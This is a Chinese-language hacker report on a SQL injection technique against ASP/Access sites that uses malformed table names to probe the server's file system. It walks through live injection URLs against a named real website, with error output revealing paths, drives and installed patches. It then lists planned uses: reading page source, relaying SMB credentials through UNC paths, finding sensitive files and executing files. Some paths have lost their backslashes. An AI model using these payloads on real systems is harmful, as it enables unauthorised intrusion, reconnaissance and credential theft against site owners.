access数据库跨文件查询漏洞的初步报告

一. 在一次玩sql injection时无意发现了这个 漏洞 : 1.访问http://www.lznet.net/news/displaynews.asp?id=24794 页面出错信息: Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在

一. 在一次玩sql injection时无意发现了这个漏洞:

1.访问http://www.lznet.net/news/displaynews.asp?id=24794'

页面出错信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 24794'' 中。

/news/displaynews.asp，行133

2.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

页面正常

3.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

页面返回"找不到文件"

这是典型的sql injection with access漏洞，接下来猜表名:

4.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from news)

页面出错:数据库引擎找不到输入表或查询 'news'

5.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from admin)

页面出错:数据库引擎找不到输入表或查询 'admin'

6.突然想起了sql injection技术中得到的出错信息中表名格式为: news.id

其中news为表名，id为表中的一个列名

7.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from lznet.a)

出错:找不到文件 'C:WINNTsystem32lznet.mdb'。

8.试遍了web根目录以及所有知道的虚拟目录，都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个文件名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢？继续试试能不能查询c:winntsystem32下的cmd.exe文件.

9.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from cmd.exe.a)

这条语句格式是经过多次试验得到的:)

出错:"数据库引擎打不开文件'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开，或没有查看数据的权限。 "

分析以上出错信息，我想权限是有的，因为我们是基于asp的guest权限，默认cmd.exe是Everyone:R ,如果打不开那就是数据库不支持了,但是文件夹是可以被数据库访问，否则我们是搜索不到其中的文件的。

10.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from c:cmd.exe.a)

在这里我们可以看到跨目录查询是可行的

出错:

找不到文件 'c:cmd.exe'。

11.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from c:oot.ini.a)

注:boot.ini是win2000在系统盘根目录下的系统引导文件

出错:

据库引擎打不开文件'c:oot.ini'。 它已经被别的用户以独占方式打开，或没有查看数据的权限。

12.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from d:oot.ini.a)

跨盘符查询也是可行的

出错:

找不到文件 'd:oot.ini'。

13.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from i:oot.ini.a)

出错:

'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。

注：我们看到出错信息很老实的告诉了我们这个系统没有i盘，从侧面说access的出错信息在某些方面还是比较详细的。

14.这是个比较实际的利用，如果对方是从spx打到spx,在winnt目录下就会有这些文件,我们可以通过这个漏洞查找这些文件，确定目录主机打补丁的情况:

[$NtUninstallQ329553$] [$NtUninstallQ329834$]

[$NtUninstallQ331953$] [$NtUninstallQ810833$]

[$NtUninstallQ811114$] [$NtUninstallQ811493$]

[$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

……………

二.漏洞的利用设想:

1.查询某个动态网页文件，利用查询语句获取动态网页的源代码，比如读取文件内容并把内容写入到表的一个列里，然后用len暴力猜列里的内容，从而得到源码。

2.猜测目录的位置、文件名等等，了解对方的一点主机信息，比如说系统安装在哪个分区上，共有几个分区以及系统打的什么补丁等等。

3.查询unc路径,如\1.1.1.1sharea.vbs,而\1.1.1.1运行着smbrelay,我们利用smb重定向技术有能会得到一个guest权限的ipc连接,这就有意思多了。

4.查找敏感文件，比如*.cif,*.mdb等等，但是我没有实现在access上使用通配符查询文件，可能是因为我是数据库新手的问题。

5.执行文件，可以的话就发财了.

6.以上设想可能有理解错误正在验证中（你想到什么就告诉我吧)

有关我对这个漏洞的理解:

access对表和列的查询存在问题，如果我们构造一个畸型表名的话，access找不到这样的表就会当成mdb文件去查找，如果构造得当，就会当成一个文件去到硬盘上查找!(默认在system32下查找。我在sql server也简单测试了一下，没有发现这个问题。另外利用这个漏洞需要两个条件（怕有的人不理解):

(1)对方是asp+access应用体系，并且asp代码存在过滤不足的问题使我们可以远程注射sql语句。

(2)asp要能显示查询失败的详细信息，比如"数据库引擎找不到输入表或查询 'news'"。否则我们无论查询是否成功都变的没有意义。